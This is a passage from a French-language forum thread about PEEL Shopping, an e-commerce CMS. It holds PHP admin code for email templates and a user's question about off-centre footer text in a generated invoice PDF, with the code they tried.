    $tpl->assign('STR_ADMIN_WEBSITE', $GLOBALS['STR_ADMIN_WEBSITE']);

    $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TITLE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TITLE']);

    $tpl->assign('STR_ADMIN_TECHNICAL_CODE', $GLOBALS['STR_ADMIN_TECHNICAL_CODE']);

    $tpl->assign('STR_ADMIN_SUBJECT', $GLOBALS['STR_ADMIN_SUBJECT']);

    $tpl->assign('STR_ADMIN_LANGUAGE', $GLOBALS['STR_ADMIN_LANGUAGE']);

    $tpl->assign('STR_STATUS', $GLOBALS['STR_STATUS']);

    $tpl->assign('STR_ADMIN_ACTION', $GLOBALS['STR_ADMIN_ACTION']);

    $tpl->assign('STR_ADMIN_ID', $GLOBALS['STR_ADMIN_ID']);

    $tpl->assign('STR_CATEGORY', $GLOBALS['STR_CATEGORY']);

    $tpl->assign('STR_ADMIN_HTML_TEXT', $GLOBALS['STR_ADMIN_HTML_TEXT']);

    $tpl->assign('STR_ADMIN_NAME', $GLOBALS['STR_ADMIN_NAME']);

    $tpl->assign('STR_MODIFY', $GLOBALS['STR_MODIFY']);

     

    $report = $tpl->fetch();

     

    include($GLOBALS['repertoire_modele'] . "/admin_haut.php");

    echo $output . $report;

    include($GLOBALS['repertoire_modele'] . "/admin_bas.php");

     

    /**

     * emailLinksExplanations()

     *

     * @return

     */

    function emailLinksExplanations()

    {

        $tpl = $GLOBALS['tplEngine']->createTemplate('admin_emailLinksExplanations.tpl');

        if(empty($_SESSION['session_admin_multisite']) || $_SESSION['session_admin_multisite'] != $GLOBALS['site_id']) {

            $this_wwwroot =  get_site_wwwroot($_SESSION['session_admin_multisite']);

        } else {

            $this_wwwroot =  $GLOBALS['wwwroot'];

        }

        $tpl->assign('link', $this_wwwroot);

        $tpl->assign('is_annonce_module_active', check_if_module_active('annonces'));

        $tpl->assign('is_vitrine_module_active', check_if_module_active('vitrine'));

        

        if(check_if_module_active('vitrine')) {

            $tpl->assign('explication_tag_windows', get_explication_tag_windows(true));

        }

        if(check_if_module_active('annonces')) {

            $tpl->assign('explication_tag_last_ads_verified', get_explication_tag_last_ads_verified(true));

            $tpl->assign('explication_tag_list_category_ads', get_explication_tag_list_category_ads(true));

            $tpl->assign('explication_tag_list_ads_by_category', get_explication_tag_list_ads_by_category(true));

        }

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_EXAMPLES_TITLE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_EXAMPLES_TITLE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAGS_EXPLAIN', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAGS_EXPLAIN']);

        $tpl->assign('STR_BEFORE_TWO_POINTS', $GLOBALS['STR_BEFORE_TWO_POINTS']);

        $tpl->assign('STR_ADMIN_WWWROOT', $GLOBALS['STR_ADMIN_WWWROOT']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_SITE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_SITE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_PHP_SELF', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_PHP_SELF']);

        $tpl->assign('STR_ADMIN_REMOTE_ADDR', $GLOBALS['STR_ADMIN_REMOTE_ADDR']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_DATETIME', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_DATETIME']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_NEWSLETTER', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_NEWSLETTER']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_LINK_EXPLAIN', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_LINK_EXPLAIN']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_LINK_EXAMPLE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_LINK_EXAMPLE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAG_OTHER_AVAILABLE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAG_OTHER_AVAILABLE']);

        return $tpl->fetch();

    }

     

     


  10. C'est déjà le cas et le texte est décalé vers la droite, mais si j'augmente la taille de la police, le décalage se réduit et le texte revient vers la gauche, mais je ne peux pas aller jusqu'à le ramener à une position centrale (à moins d'avoir une taille de police énorme). Peut-être un problème de marge ou de padding.

    Voici le code :

        $r1 = $this->w / 2 - 15;

            $y1 = $this->h-25;

            

            $text1 = ($mode != 'devis'?$GLOBALS['STR_INVOICE_BOTTOM_TEXT']:$GLOBALS['STR_INVOICE_BOTTOM_TEXT1']);

            $this->SetXY($r1, $y1);
            
            $this->Text((!empty($coordx)?$coordx:55), (!empty($coordy)?$coordy:190), $texte);
            
            $this->SetTextColor(255, 0, 0);

            $this->SetFont("Helvetica", "", 14);

            $this->Cell(0, 4, $text1 ,0, 0, "C");

     

Twitter Advisto ecommerce

Facebook PEEL Shopping